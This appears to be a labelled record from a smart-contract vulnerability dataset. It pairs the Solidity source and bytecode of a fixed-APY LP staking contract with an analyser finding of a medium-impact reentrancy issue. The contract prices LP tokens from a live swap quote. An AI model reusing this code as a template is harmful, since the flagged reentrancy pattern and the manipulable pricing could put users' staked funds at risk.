0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in construction, // since the code is only stored at the end of the constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } interface IStakingRewards { function earned(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function stake(uint256 amount) external; function stakeFor(uint256 amount, address user) external; function getReward() external; function withdraw(uint256 nonce) external; function withdrawAndGetReward(uint256 nonce) external; } interface IERC20Permit { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } contract StakingLPRewardFixedAPY is IStakingRewards, ReentrancyGuard, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public immutable rewardsToken; INimbusPair public immutable stakingLPToken; INimbusRouter public swapRouter; address public immutable lPPairTokenA; address public immutable lPPairTokenB; uint256 public rewardRate; uint256 public constant rewardDuration = 365 days; mapping(address => uint256) public weightedStakeDate; mapping(address => mapping(uint256 => uint256)) public stakeAmounts; mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent; mapping(address => uint256) public stakeNonces; uint256 private _totalSupply; uint256 private _totalSupplyRewardEquivalent; uint256 private immutable _tokenADecimalCompensate; uint256 private immutable _tokenBDecimalCompensate; mapping(address => uint256) private _balances; mapping(address => uint256) private _balancesRewardEquivalent; event RewardUpdated(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event Rescue(address to, uint256 amount); event RescueToken(address to, address token, uint256 amount); constructor( address _rewardsToken, address _stakingLPToken, address _lPPairTokenA, address _lPPairTokenB, address _swapRouter, uint _rewardRate ) { rewardsToken = IERC20(_rewardsToken); stakingLPToken = INimbusPair(_stakingLPToken); swapRouter = INimbusRouter(_swapRouter); rewardRate = _rewardRate; lPPairTokenA = _lPPairTokenA; lPPairTokenB = _lPPairTokenB; uint tokenADecimals = IERC20(_lPPairTokenA).decimals(); require(tokenADecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals"); _tokenADecimalCompensate = tokenADecimals.sub(6); uint tokenBDecimals = IERC20(_lPPairTokenB).decimals(); require(tokenBDecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals"); _tokenBDecimalCompensate = tokenBDecimals.sub(6); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function totalSupplyRewardEquivalent() external view returns (uint256) { return _totalSupplyRewardEquivalent; } function getDecimalPriceCalculationCompensate() external view returns (uint tokenADecimalCompensate, uint tokenBDecimalCompensate) { tokenADecimalCompensate = _tokenADecimalCompensate; tokenBDecimalCompensate = _tokenBDecimalCompensate; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function balanceOfRewardEquivalent(address account) external view returns (uint256) { return _balancesRewardEquivalent[account]; } function earned(address account) public view override returns (uint256) { return (_balancesRewardEquivalent[account].mul(block.timestamp.sub(weightedStakeDate[account])).mul(rewardRate)) / (100 * rewardDuration); } function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant { require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0"); // permit IERC20Permit(address(stakingLPToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); _stake(amount, msg.sender); } function stake(uint256 amount) external override nonReentrant { require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0"); _stake(amount, msg.sender); } function stakeFor(uint256 amount, address user) external override nonReentrant { require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0"); _stake(amount, user); } function _stake(uint256 amount, address user) private { IERC20(stakingLPToken).safeTransferFrom(msg.sender, address(this), amount); uint amountRewardEquivalent = getCurrentLPPrice().mul(amount) / 10 ** 18; _totalSupply = _totalSupply.add(amount); _totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.add(amountRewardEquivalent); uint previousAmount = _balances[user]; uint newAmount = previousAmount.add(amount); weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount); _balances[user] = newAmount; uint stakeNonce = stakeNonces[user]++; stakeAmounts[user][stakeNonce] = amount; stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent; _balancesRewardEquivalent[user] = _balancesRewardEquivalent[user].add(amountRewardEquivalent); emit Staked(user, amount); } //A user can withdraw its staking tokens even if there is no rewards tokens on the contract account function withdraw(uint256 nonce) public override nonReentrant { require(stakeAmounts[msg.sender][nonce] > 0, "StakingLPRewardFixedAPY: This stake nonce was withdrawn"); uint amount = stakeAmounts[msg.sender][nonce]; uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce]; _totalSupply = _totalSupply.sub(amount); _totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.sub(amountRewardEquivalent); _balances[msg.sender] = _balances[msg.sender].sub(amount); _balancesRewardEquivalent[msg.sender] = _balancesRewardEquivalent[msg.sender].sub(amountRewardEquivalent); IERC20(stakingLPToken).safeTransfer(msg.sender, amount); stakeAmounts[msg.sender][nonce] = 0; stakeAmountsRewardEquivalent[msg.sender][nonce] = 0; emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant { uint256 reward = earned(msg.sender); if (reward > 0) { weightedStakeDate[msg.sender] = block.timestamp; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function withdrawAndGetReward(uint256 nonce) external override { getReward(); withdraw(nonce); } function getCurrentLPPrice() public view returns (uint) { // LP PRICE = 2 * SQRT(reserveA * reaserveB ) * SQRT(token1/RewardTokenPrice * token2/RewardTokenPrice) / LPTotalSupply uint tokenAToRewardPrice; uint tokenBToRewardPrice; address rewardToken = address(rewardsToken); address[] memory path = new address[](2); path[1] = address(rewardToken); if (lPPairTokenA != rewardToken) { path[0] = lPPairTokenA; tokenAToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1]; if (_tokenADecimalCompensate > 0) tokenAToRewardPrice = tokenAToRewardPrice.mul(10 ** _tokenADecimalCompensate); } else { tokenAToRewardPrice = 10 ** 18; } if (lPPairTokenB != rewardToken) { path[0] = lPPairTokenB; tokenBToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1]; if (_tokenBDecimalCompensate > 0) tokenBToRewardPrice = tokenBToRewardPrice.mul(10 ** _tokenBDecimalCompensate); } else { tokenBToRewardPrice = 10 ** 18; } uint totalLpSupply = IERC20(stakingLPToken).totalSupply(); require(totalLpSupply > 0, "StakingLPRewardFixedAPY: No liquidity for pair"); (uint reserveA, uint reaserveB,) = stakingLPToken.getReserves(); uint price = uint(2).mul(Math.sqrt(reserveA.mul(reaserveB)) .mul(Math.sqrt(tokenAToRewardPrice.mul(tokenBToRewardPrice)))) / totalLpSupply; return price; } function updateRewardAmount(uint256 reward) external onlyOwner { rewardRate = reward; emit RewardUpdated(reward); } function updateSwapRouter(address newSwapRouter) external onlyOwner { require(newSwapRouter != address(0), "StakingLPRewardFixedAPY: Address is zero"); swapRouter = INimbusRouter(newSwapRouter); } function rescue(address to, IERC20 token, uint256 amount) external onlyOwner { require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address"); require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0"); require(token != stakingLPToken, "StakingLPRewardFixedAPY: Cannot rescue staking token"); //owner can rescue rewardsToken if there is spare unused tokens on staking contract balance token.safeTransfer(to, amount); emit RescueToken(to, address(token), amount); } function rescue(address payable to, uint256 amount) external onlyOwner { require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address"); require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0"); to.transfer(amount); emit Rescue(to, amount); } }
0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c806386a9d8a81161010f578063c41f7808116100a2578063ecd9ba8211610071578063ecd9ba82146103a1578063f2fde38b146103b4578063f44c407a146103c7578063f520e7e5146103da576101ef565b8063c41f780814610381578063d1af0c7d14610389578063d4ee1d9014610391578063d72164fe14610399576101ef565b8063ac348bb2116100de578063ac348bb214610340578063b98b677f14610353578063baee99c214610366578063c31c9c0714610379576101ef565b806386a9d8a8146102ff5780638da5cb5b146103125780638edc7f2d1461031a578063a694fc3a1461032d576101ef565b8063389b70b31161018757806370a082311161015657806370a08231146102c957806379ba5097146102dc5780637a4e4ecf146102e45780637b0a47ee146102f7576101ef565b8063389b70b3146102855780633d18b9121461029b57806351746bb2146102a3578063673434b2146102b6576101ef565b80631cb1f5b6116101c35780631cb1f5b61461024f57806320ff430b146102575780632cb7714f1461026a5780632e1a7d4d14610272576101ef565b80628cc262146101f45780630d9df9c21461021d57806315c2ba141461023257806318160ddd14610247575b600080fd5b610207610202366004611eb8565b6103e2565b6040516102149190612712565b60405180910390f35b610225610474565b604051610214919061215e565b610245610240366004612079565b610498565b005b610207610532565b610207610538565b610245610265366004611eff565b61053e565b6102256106fd565b610245610280366004612079565b610721565b61028d610919565b60405161021492919061271b565b61024561095f565b6102456102b13660046120a9565b610a6e565b6102076102c4366004611eb8565b610b09565b6102076102d7366004611eb8565b610b31565b610245610b59565b6102456102f2366004611ed4565b610c15565b610207610d6e565b61020761030d366004611eb8565b610d74565b610225610d86565b610207610328366004611f3f565b610da2565b61024561033b366004612079565b610dbf565b61020761034e366004611f3f565b610e55565b610245610361366004611eb8565b610e72565b610207610374366004611eb8565b610f57565b610225610f69565b610225610f85565b610225610fa9565b610225610fcd565b610207610fe9565b6102456103af3660046120d8565b6116c0565b6102456103c2366004611eb8565b61180e565b6102456103d5366004612079565b6118ce565b6102076118df565b60006103f36301e1338060646128ac565b60045473ffffffffffffffffffffffffffffffffffffffff8416600090815260056020526040902054610462919061045c906104309042906118e7565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600c602052604090205490611939565b90611939565b61046c9190612741565b90505b919050565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610527908390612712565b60405180910390a150565b60095490565b600a5490565b60015473ffffffffffffffffffffffffffffffffffffffff16331461058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff83166105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610616576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b7f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e29873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561069c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612530565b6106bd73ffffffffffffffffffffffffffffffffffffffff8316848361199f565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba9108383836040516106f0939291906121a5565b60405180910390a1505050565b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981565b60016000808282546107339190612729565b9091555050600080543382526006602090815260408084208585529091529091205461078b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612328565b336000818152600660209081526040808320868452825280832054938352600782528083208684529091529020546009546107c690836118e7565b600955600a546107d690826118e7565b600a55336000908152600b60205260409020546107f390836118e7565b336000908152600b6020908152604080832093909355600c9052205461081990826118e7565b336000818152600c602052604090209190915561086e907f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e29873ffffffffffffffffffffffffffffffffffffffff16908461199f565b33600081815260066020908152604080832088845282528083208390558383526007825280832088845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906108d0908590612712565b60405180910390a250506000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b5050565b7f000000000000000000000000000000000000000000000000000000000000000c907f000000000000000000000000000000000000000000000000000000000000000290565b60016000808282546109719190612729565b90915550506000805490610984336103e2565b90508015610a2f573360008181526005602052604090204290556109e0907f000000000000000000000000eb58343b36c7528f23caae63a15024024131004973ffffffffffffffffffffffffffffffffffffffff16908361199f565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048682604051610a269190612712565b60405180910390a25b506000548114610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b50565b6001600080828254610a809190612729565b909155505060005482610abf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610ac98383611a40565b6000548114610b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600c602052604090205490565b73ffffffffffffffffffffffffffffffffffffffff166000908152600b602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610b7d57600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8216610cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610ced576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610d30573d6000803e3d6000fd5b507f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d6292919061217f565b60405180910390a15050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600660209081526000928352604080842090915290825290205481565b6001600080828254610dd19190612729565b909155505060005481610e10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610e1a8233611a40565b6000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b600760209081526000928352604080842090915290825290205481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ec3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8116610f10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612385565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60056020526000908152604090205481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e29881565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b604080516002808252606082018352600092839283927f000000000000000000000000eb58343b36c7528f23caae63a1502402413100499284929190602083019080368337019050509050818160018151811061106f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101527f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981169083161461129b577f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981600081518110611118577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f9061118090620f4240908590600401612224565b60006040518083038186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526111f29190810190611f51565b60018151811061122b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151935060007f000000000000000000000000000000000000000000000000000000000000000c11156112965761129361128c7f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8590611939565b93505b6112a7565b670de0b6b3a764000093505b8173ffffffffffffffffffffffffffffffffffffffff167f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59973ffffffffffffffffffffffffffffffffffffffff16146114d8577f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981600081518110611355577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f906113bd90620f4240908590600401612224565b60006040518083038186803b1580156113d557600080fd5b505afa1580156113e9573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261142f9190810190611f51565b600181518110611468577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151925060007f000000000000000000000000000000000000000000000000000000000000000211156114d3576114d06114c97f0000000000000000000000000000000000000000000000000000000000000002600a6127c0565b8490611939565b92505b6114e4565b670de0b6b3a764000092505b60007f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e29873ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561154c57600080fd5b505afa158015611560573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115849190612091565b9050600081116115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906124d3565b6000807f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e29873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561162957600080fd5b505afa15801561163d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611661919061202b565b506dffffffffffffffffffffffffffff91821693501690506000836116a96116a161169461168f8c8c611939565b611c69565b61045c61168f8888611939565b600290611939565b6116b39190612741565b9850505050505050505090565b60016000808282546116d29190612729565b909155505060005485611711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b6040517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e298169063d505accf9061178f90339030908b908b908b908b908b906004016121d6565b600060405180830381600087803b1580156117a957600080fd5b505af11580156117bd573d6000803e3d6000fd5b505050506117cb8633611a40565b6000548114611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff16331461185f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60025473ffffffffffffffffffffffffffffffffffffffff8281169116141561188757600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6118d661095f565b610a6b81610721565b6301e1338081565b600082821115611923576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906123e2565b600061192f83856128e9565b9150505b92915050565b60008261194857506000611933565b600061195483856128ac565b9050826119618583612741565b14611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612419565b9392505050565b610b048363a9059cbb60e01b84846040516024016119be92919061217f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152611cd8565b611a8273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000cdfc6e9711d8a9ba2a87e1f6148820c6c7f4e29816333085611e2a565b6000670de0b6b3a7640000611a998461045c610fe9565b611aa39190612741565b600954909150611ab39084611e4b565b600955600a54611ac39082611e4b565b600a5573ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604081205490611af78286611e4b565b9050611b5381611b074288611939565b611b119190612741565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600560205260409020548390611b439086611939565b611b4d9190612741565b90611e4b565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260056020908152604080832093909355600b81528282208490556008905290812080549082611b9d83612900565b9091555073ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832085845282528083208b9055838352600782528083208584528252808320899055928252600c90522054909150611bff9085611e4b565b73ffffffffffffffffffffffffffffffffffffffff86166000818152600c6020526040908190209290925590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90611c59908990612712565b60405180910390a2505050505050565b60006003821115611cca5750806000611c83600283612741565b611c8e906001612729565b90505b81811015611cc457905080600281611ca98186612741565b611cb39190612729565b611cbd9190612741565b9050611c91565b5061046f565b811561046f57506001919050565b611cf78273ffffffffffffffffffffffffffffffffffffffff16611e94565b611d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061267e565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051611d559190612125565b6000604051808303816000865af19150503d8060008114611d92576040519150601f19603f3d011682016040523d82523d6000602084013e611d97565b606091505b509150915081611dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122f3565b805115611e245780806020019051810190611dee919061200b565b611e24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061258d565b50505050565b611e24846323b872dd60e01b8585856040516024016119be939291906121a5565b600080611e588385612729565b905083811015611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122bc565b3b151590565b80516dffffffffffffffffffffffffffff8116811461046f57600080fd5b600060208284031215611ec9578081fd5b813561199881612997565b60008060408385031215611ee6578081fd5b8235611ef181612997565b946020939093013593505050565b600080600060608486031215611f13578081fd5b8335611f1e81612997565b92506020840135611f2e81612997565b929592945050506040919091013590565b60008060408385031215611ee6578182fd5b60006020808385031215611f63578182fd5b825167ffffffffffffffff80821115611f7a578384fd5b818501915085601f830112611f8d578384fd5b815181811115611f9f57611f9f612968565b83810260405185828201018181108582111715611fbe57611fbe612968565b604052828152858101935084860182860187018a1015611fdc578788fd5b8795505b83861015611ffe578051855260019590950194938601938601611fe0565b5098975050505050505050565b60006020828403121561201c578081fd5b81518015158114611998578182fd5b60008060006060848603121561203f578283fd5b61204884611e9a565b925061205660208501611e9a565b9150604084015163ffffffff8116811461206e578182fd5b809150509250925092565b60006020828403121561208a578081fd5b5035919050565b6000602082840312156120a2578081fd5b5051919050565b600080604083850312156120bb578182fd5b8235915060208301356120cd81612997565b809150509250929050565b600080600080600060a086880312156120ef578081fd5b8535945060208601359350604086013560ff8116811461210d578182fd5b94979396509394606081013594506080013592915050565b60008251815b81811015612145576020818601810151858301520161212b565b818111156121535782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b60006040820184835260206040818501528185518084526060860191508287019350845b8181101561227a57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101612248565b5090979650505050505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526037908201527f5374616b696e674c5052657761726446697865644150593a205468697320737460408201527f616b65206e6f6e6365207761732077697468647261776e000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a204164647265737360408201527f206973207a65726f000000000000000000000000000000000000000000000000606082015260800190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7374616b65203000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f5374616b696e674c5052657761726446697865644150593a204e6f206c69717560408201527f696469747920666f722070616972000000000000000000000000000000000000606082015260800190565b60208082526034908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f726573637565207374616b696e6720746f6b656e000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7265736375652030000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b6020808252603a908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f72657363756520746f20746865207a65726f2061646472657373000000000000606082015260800190565b90815260200190565b918252602082015260400190565b6000821982111561273c5761273c612939565b500190565b600082612775577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b80825b600180861161278c57506127b7565b81870482111561279e5761279e612939565b808616156127ab57918102915b9490941c93800261277d565b94509492505050565b60006119987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846000826127f757506001611998565b8161280457506000611998565b816001811461281a576002811461282457612851565b6001915050611998565b60ff84111561283557612835612939565b6001841b91508482111561284b5761284b612939565b50611998565b5060208310610133831016604e8410600b8410161715612884575081810a8381111561287f5761287f612939565b611998565b612891848484600161277a565b8086048211156128a3576128a3612939565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128e4576128e4612939565b500290565b6000828210156128fb576128fb612939565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293257612932612939565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114610a6b57600080fdfea2646970667358221220dee7d22ddd2a707dd1ba5885d61392ec1288d984399fbfae9887b3a93d42a8bc64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,823
0xc06f3ec3271867256922fa3388e077c347c82e27
